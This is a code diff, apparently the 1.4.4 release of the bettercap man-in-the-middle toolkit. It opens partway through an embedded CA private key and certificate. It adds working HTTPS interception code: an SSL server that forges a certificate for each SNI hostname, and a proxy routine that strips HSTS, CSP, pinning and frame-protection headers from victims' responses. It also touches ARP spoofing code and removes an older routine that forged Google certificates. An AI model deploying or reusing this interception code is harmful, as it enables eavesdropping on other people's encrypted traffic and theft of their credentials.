8
+ jFVOnlhjAgMBAAECggEAAM/Ivc1wpA45q5jMQY3OM2BhdeJf5oRKhp63jNmpshZf
9
+ STF7ePKCUBNJAQhPl8NvtqY8Bs0FsEHD/Wxg0Y7aJ+3W+X/t01NPAJpBSS/3EJTl
10
+ ogv2TiyxSCmAr033zSCR1eiidE2R0Wx59strhSYDtJ8V6Q7F5TIdL9/6d8RScx53
11
+ xT/efogV3ebmXNhOOG6FrjQ5uCW7KZUXRaL3nozhEldFpzjak1XKVgKLv7OBaLwI
12
+ tCgVGkfJpZbTYV2sht32JAwkEyTPtS8/49A4RRu5c62pLiDK5TkQGxtBLBpBTFoi
13
+ f95LeqyApRDR5zTeP8uvHyK/Of5YBLJljkx+YDYugQKBgQDJN4KXOhV4DGVvriwA
14
+ RBEd5nNJ/t/MATcGrFX4uqApdsMux9cpRaNa1hRxn2icm/whHrOFaBROAB7L6Zd4
15
+ uLnrzpwFTq9YMH4AXe+sPphAtuk7ZULj1qkZ3yOjiKAJcJ4LWUxQ3H32KU6GIu+e
16
+ x/e+B95pmk+s9XKajMSkKaMkWwKBgQDEu4fzhRyVvntq1s6D5R9du9eRV/6E5hLs
17
+ gylMx8smzHQ46Ef5df5uEJUfkzyCJmOMGpKAW5czsLgKkx05Xw97xwn++/9lhHas
18
+ E4SFArrIkAvBmiM44fZSKY3sVUWAHKYJy+Lg/7SR4cFVOxRyYhrFLjeXb9mOEdTo
19
+ a6xmM3M6mQKBgDRpqDOaJqN5nyaDGOUM1eSS9a7tm//4xQuQ8mfyvOtwCxFxbqNK
20
+ h22O3A5otogsvXUnGR4D6V4T+/GjrBf/DjbVP6DGSThQkVGpJlgYifI5cvFMxCqy
21
+ 7KNXk2HyobUzx4cvQIjDlm/7fH/GM+KJNggi5pVdY6mq2apWRpZ4Xg2HAoGBAJOs
22
+ WQ6Yuq5Ev4uhFn+2+2Z23AeDz8+ejFHw2o2B46KKEiutYGmHAqdH10hOUzs26b5/
23
+ K70iA0uPuXZmm6c3Df5Rl9VI/5sKZbIhLHZTaDWouspmk03df/KIsrnWAEd8Ob5c
24
+ xz8xci+XEHKT2HNL5OBiIuSP1vRnujOEr3I/6JzxAoGBAJlu4gjm8StuL5ALy43a
25
+ K62Nrsio/RhPjVUKXMtzTOgf2f2mRn04YibRNbB5Gzum4oWkjyue7qhBjIt/FX1Z
26
+ kecFhr5JG4u/yyR6R2BMw4Jvh9kV6Y/GnDpSga8sK2P3QKFD01Qtw72x5xCj94CL
27
+ kWqGcTRdiMAWQsRKvndzWAMc
28
+ -----END PRIVATE KEY-----
29
+ -----BEGIN CERTIFICATE-----
30
+ MIIDZzCCAk+gAwIBAgIJANKD84I3l13QMA0GCSqGSIb3DQEBCwUAMEoxCzAJBgNV
31
+ BAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMRIwEAYDVQQKDAliZXR0ZXJjYXAx
32
+ EjAQBgNVBAMMCWJldHRlcmNhcDAeFw0xNjAyMjMwMTAxNTlaFw0xNzAyMjIwMTAx
33
+ NTlaMEoxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMRIwEAYDVQQK
34
+ DAliZXR0ZXJjYXAxEjAQBgNVBAMMCWJldHRlcmNhcDCCASIwDQYJKoZIhvcNAQEB
35
+ BQADggEPADCCAQoCggEBAJqh5mPbHuFjhFUvhLoXoZ+wQDJ7X+tOK9dAIGwQx0GJ
36
+ 88UJbPiLWzm/UJvE7jHh1+C0mJWeIbIyydClY6xn+SO3vgUjOADYDtFOzPr6O/EW
37
+ fDy40fZS8cCVd6umCEHDsXjodMpvt88aVch4ytd3tJD1+ic0zV9DQvfv4gsBpkgh
38
+ eObdszspa4zv7yqvZvEvE/0DW53mu44s0X6PFwLKSbqKv96jcz7hij2k7Cwi+D1+
39
+ g7DtqERVIHucBkH0naiFsIV8buwWEoqBYVPEoGIQefLypoPX/XoUgP9JlVeEWOMr
40
+ afwZ3ztwiTXTjf3Yf8xBVa6L2uShzCzMKi+MVU6eWGMCAwEAAaNQME4wHQYDVR0O
41
+ BBYEFBspFbBsNWr57dZicWMDjOaRxQoPMB8GA1UdIwQYMBaAFBspFbBsNWr57dZi
42
+ cWMDjOaRxQoPMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAJXGBH8H
43
+ DKttB8KIbFzVRVcBQ5Wvw+3oFVlmnotQuxz17fGr2ZXEPiY8/P89MgAUqVkiaIS5
44
+ EZOnIfPu7icGWvT0N3eoxnLaTdCFy0NOHXJh2+zrav5FWsULsmSxOBxItvkxq0fN
45
+ yk1P/5kLmrJKnKUJKH7QDjNeEqJdfSx+dg2435a5pcvrVfjCGrd8F8CIED6sYd0n
46
+ pibpJXi8TILiPrjNhTWT2Y5XflfV3Ho/+jIbeY3wzsApwsBINy0ticABdPhtEGHk
47
+ nkR6dqDv1rSuzify5OdYeLy/UX4R/vv1BS0PLScE1lUB16ybzJ2imWJgOQs6J4E6
48
+ hHakJaVPVAPFWUU=
49
+ -----END CERTIFICATE-----
@@ -0,0 +1,61 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ module BetterCap
15
+ module Proxy
16
+ module SSL
17
+
18
+ # Little utility class to handle SSLServer creation.
19
+ class Server
20
+ # The SSL certification authority.
21
+ attr_reader :authority
22
+ # Main SSLContext instance.
23
+ attr_reader :context
24
+ # Socket I/O object.
25
+ attr_reader :io
26
+
27
+ # Create an instance from the TCPSocket +socket+.
28
+ def initialize( socket )
29
+ @authority = Context.get.authority
30
+ @context = OpenSSL::SSL::SSLContext.new
31
+ @context.cert = @authority.certificate
32
+ @context.key = @authority.key
33
+
34
+ # If the client supports SNI ( https://en.wikipedia.org/wiki/Server_Name_Indication )
35
+ # we'll receive the hostname it wants to connect to in this callback.
36
+ # Use the CA we already have loaded ( or generated ) to sign a new
37
+ # certificate at runtime with the correct 'Common Name' and create a new SSL
38
+ # context with it, these are the steps:
39
+ #
40
+ # 1. Get hostname from SNI.
41
+ # 2. Fetch upstream certificate from the real server.
42
+ # 3. Resign it with our own CA.
43
+ # 4. Create a new context with the new spoofed certificate.
44
+ # 5. Profit ^_^
45
+ @context.servername_cb = proc { |sslsocket, hostname|
46
+ Logger.debug "[#{'SSL'.green}] Server-Name-Indication for '#{hostname}'"
47
+
48
+ ctx = OpenSSL::SSL::SSLContext.new
49
+ ctx.cert = @authority.spoof( hostname )
50
+ ctx.key = @authority.key
51
+
52
+ ctx
53
+ }
54
+
55
+ @io = OpenSSL::SSL::SSLServer.new( socket, @context )
56
+ end
57
+ end
58
+
59
+ end
60
+ end
61
+ end
@@ -10,9 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'zlib'
14
- require 'stringio'
15
- require 'json'
16
13
 
17
14
  module BetterCap
18
15
  # Raw or http streams pretty logging.
@@ -10,22 +10,21 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/logger'
14
13
 
15
14
  module BetterCap
16
15
  module Proxy
17
16
  # Handle data streaming between clients and servers for the BetterCap::Proxy::Proxy.
18
17
  class Streamer
19
18
  # Initialize the class with the given +processor+ routine.
20
- def initialize( processor )
19
+ def initialize( processor, sslstrip )
21
20
  @processor = processor
22
21
  @ctx = Context.get
23
- @sslstrip = SSLStrip::Strip.new( @ctx ) if @ctx.options.sslstrip
22
+ @sslstrip = SSLStrip::Strip.new( @ctx ) if sslstrip
24
23
  end
25
24
 
26
25
  # Return true if the +request+ was stripped.
27
26
  def was_stripped?(request, client)
28
- if @ctx.options.sslstrip
27
+ if @sslstrip
29
28
  request.client, _ = get_client_details( client )
30
29
  return @sslstrip.was_stripped?(request)
31
30
  end
@@ -50,7 +49,7 @@ class Streamer
50
49
 
51
50
  begin
52
51
  r = nil
53
- if @ctx.options.sslstrip
52
+ if @sslstrip
54
53
  r = @sslstrip.preprocess( request )
55
54
  end
56
55
 
@@ -69,7 +68,7 @@ class Streamer
69
68
  Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
70
69
  end
71
70
 
72
- if @ctx.options.sslstrip
71
+ if @sslstrip
73
72
  # do we need to retry the request?
74
73
  if @sslstrip.process( request, response ) == true
75
74
  # https redirect loop?
@@ -81,6 +80,9 @@ class Streamer
81
80
  end
82
81
  end
83
82
 
83
+ # Strip out a few security headers.
84
+ strip_security( response )
85
+
84
86
  # call modules on_request
85
87
  @processor.call( request, response )
86
88
 
@@ -93,6 +95,34 @@ class Streamer
93
95
 
94
96
  private
95
97
 
98
+ # List of security headers to remove/patch from any response.
99
+ # Thanks to Mazin Ahmed ( @mazen160 )
100
+ SECURITY_HEADERS = {
101
+ 'X-Frame-Options' => nil,
102
+ 'X-Content-Type-Options' => nil,
103
+ 'Strict-Transport-Security' => nil,
104
+ 'X-WebKit-CSP' => nil,
105
+ 'Public-Key-Pins' => nil,
106
+ 'Public-Key-Pins-Report-Only' => nil,
107
+ 'X-Content-Security-Policy' => nil,
108
+ 'Content-Security-Policy-Report-Only' => nil,
109
+ 'Content-Security-Policy' => nil,
110
+ 'X-Download-Options' => nil,
111
+ 'X-Permitted-Cross-Domain-Policies' => nil,
112
+ 'Allow-Access-From-Same-Origin' => '*',
113
+ 'Access-Control-Allow-Origin' => '*',
114
+ 'Access-Control-Allow-Methods' => '*',
115
+ 'Access-Control-Allow-Headers' => '*',
116
+ 'X-Xss-Protection' => '0'
117
+ }.freeze
118
+
119
+ # Strip out a few security headers from +response+.
120
+ def strip_security( response )
121
+ SECURITY_HEADERS.each do |name,value|
122
+ response[name] = value
123
+ end
124
+ end
125
+
96
126
  # Return the +client+ ip address and port.
97
127
  def get_client_details( client )
98
128
  _, client_port, _, client_ip = client.peeraddr
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'thread'
14
13
 
15
14
  module BetterCap
16
15
  module Proxy
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/error'
14
13
 
15
14
  module BetterCap
16
15
  # Class responsible of executing various shell commands.
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'base64'
14
13
 
15
14
  module BetterCap
16
15
  module Parsers
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'resolv'
14
13
 
15
14
  module BetterCap
16
15
  module Parsers
@@ -10,9 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/logger'
14
- require 'colorize'
15
- require 'packetfu'
16
13
 
17
14
  module BetterCap
18
15
  # Class responsible of loading BetterCap::Parsers instances and performing
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/spoofers/base'
14
13
 
15
14
  module BetterCap
16
15
  module Spoofers
@@ -81,7 +80,7 @@ class Arp < Base
81
80
 
82
81
  @ctx.targets.each do |target|
83
82
  unless target.ip.nil? or target.mac.nil?
84
- 5.times do
83
+ 5.times do
85
84
  spoof(target)
86
85
  sleep 0.3
87
86
  end
@@ -10,9 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/spoofers/base'
14
- require 'net/dns'
15
- require 'resolv'
16
13
 
17
14
  module BetterCap
18
15
  module Spoofers
@@ -10,8 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/spoofers/base'
14
- require 'bettercap/logger'
15
13
 
16
14
  module BetterCap
17
15
  module Spoofers
@@ -10,11 +10,6 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/version'
14
- require 'bettercap/error'
15
- require 'bettercap/logger'
16
- require 'net/http'
17
- require 'json'
18
13
 
19
14
  module BetterCap
20
15
  # This class is responsible for fetching the latest version of
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
12
12
  =end
13
13
  module BetterCap
14
14
  # Current version of bettercap.
15
- VERSION = '1.4.3'
15
+ VERSION = '1.4.4'
16
16
  # Program banner.
17
17
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
18
18
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.4.3
4
+ version: 1.4.4
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-02-22 00:00:00.000000000 Z
11
+ date: 2016-02-24 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -134,7 +134,9 @@ files:
134
134
  - lib/bettercap/loader.rb
135
135
  - lib/bettercap/logger.rb
136
136
  - lib/bettercap/monkey/celluloid/io/udp_socket.rb
137
+ - lib/bettercap/monkey/openssl/server.rb
137
138
  - lib/bettercap/monkey/packetfu/utils.rb
139
+ - lib/bettercap/monkey/system.rb
138
140
  - lib/bettercap/network/arp_reader.rb
139
141
  - lib/bettercap/network/hw-prefixes
140
142
  - lib/bettercap/network/network.rb
@@ -150,7 +152,6 @@ files:
150
152
  - lib/bettercap/network/target.rb
151
153
  - lib/bettercap/network/validator.rb
152
154
  - lib/bettercap/options.rb
153
- - lib/bettercap/proxy/certstore.rb
154
155
  - lib/bettercap/proxy/module.rb
155
156
  - lib/bettercap/proxy/modules/injectcss.rb
156
157
  - lib/bettercap/proxy/modules/injecthtml.rb
@@ -158,6 +159,9 @@ files:
158
159
  - lib/bettercap/proxy/proxy.rb
159
160
  - lib/bettercap/proxy/request.rb
160
161
  - lib/bettercap/proxy/response.rb
162
+ - lib/bettercap/proxy/ssl/authority.rb
163
+ - lib/bettercap/proxy/ssl/bettercap-ca.pem
164
+ - lib/bettercap/proxy/ssl/server.rb
161
165
  - lib/bettercap/proxy/sslstrip/cookiemonitor.rb
162
166
  - lib/bettercap/proxy/sslstrip/lock.ico
163
167
  - lib/bettercap/proxy/sslstrip/strip.rb
@@ -1,75 +0,0 @@
1
- # encoding: UTF-8
2
- =begin
3
-
4
- BETTERCAP
5
-
6
- Author : Simone 'evilsocket' Margaritelli
7
- Email : evilsocket@gmail.com
8
- Blog : http://www.evilsocket.net/
9
-
10
- This project is released under the GPL 3 license.
11
-
12
- =end
13
- require 'bettercap/logger'
14
- require 'openssl'
15
-
16
- module BetterCap
17
- module Proxy
18
- # Class responsible of handling digital certificate loading or on the fly
19
- # creation.
20
- class CertStore
21
- @@selfsigned = {}
22
- @@frompems = {}
23
-
24
- # Load a certificate from the +filename+ file and return an
25
- # OpenSSL::X509::Certificate instance for it.
26
- def self.from_file( filename )
27
- unless @@frompems.has_key? filename
28
- Logger.info "Loading self signed HTTPS certificate from '#{filename}' ..."
29
-
30
- pem = File.read filename
31
-
32
- @@frompems[filename] = { :cert => OpenSSL::X509::Certificate.new(pem), :key => OpenSSL::PKey::RSA.new(pem) }
33
- end
34
-
35
- @@frompems[filename]
36
- end
37
-
38
- # Create a self signed digital certificate using the specified +subject+ string.
39
- # Will return a OpenSSL::X509::Certificate instance.
40
- def self.get_selfsigned( subject = '/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com' )
41
- unless @@selfsigned.has_key? subject
42
- Logger.info "Generating self signed HTTPS certificate for subject '#{subject}' ..."
43
-
44
- key = OpenSSL::PKey::RSA.new(2048)
45
- public_key = key.public_key
46
-
47
- cert = OpenSSL::X509::Certificate.new
48
- cert.subject = cert.issuer = OpenSSL::X509::Name.parse(subject)
49
- cert.not_before = Time.now
50
- cert.not_after = Time.now + 365 * 24 * 60 * 60
51
- cert.public_key = public_key
52
- cert.serial = 0x0
53
- cert.version = 2
54
-
55
- ef = OpenSSL::X509::ExtensionFactory.new
56
- ef.subject_certificate = cert
57
- ef.issuer_certificate = cert
58
- cert.extensions = [
59
- ef.create_extension("basicConstraints","CA:TRUE", true),
60
- ef.create_extension("subjectKeyIdentifier", "hash"),
61
- ef.create_extension("keyUsage", "cRLSign,keyCertSign", true),
62
- ]
63
- cert.add_extension ef.create_extension("authorityKeyIdentifier",
64
- "keyid:always,issuer:always")
65
-
66
- cert.sign key, OpenSSL::Digest::SHA256.new
67
-
68
- @@selfsigned[subject] = { :cert => cert, :key => key }
69
- end
70
-
71
- @@selfsigned[subject]
72
- end
73
- end
74
- end
75
- end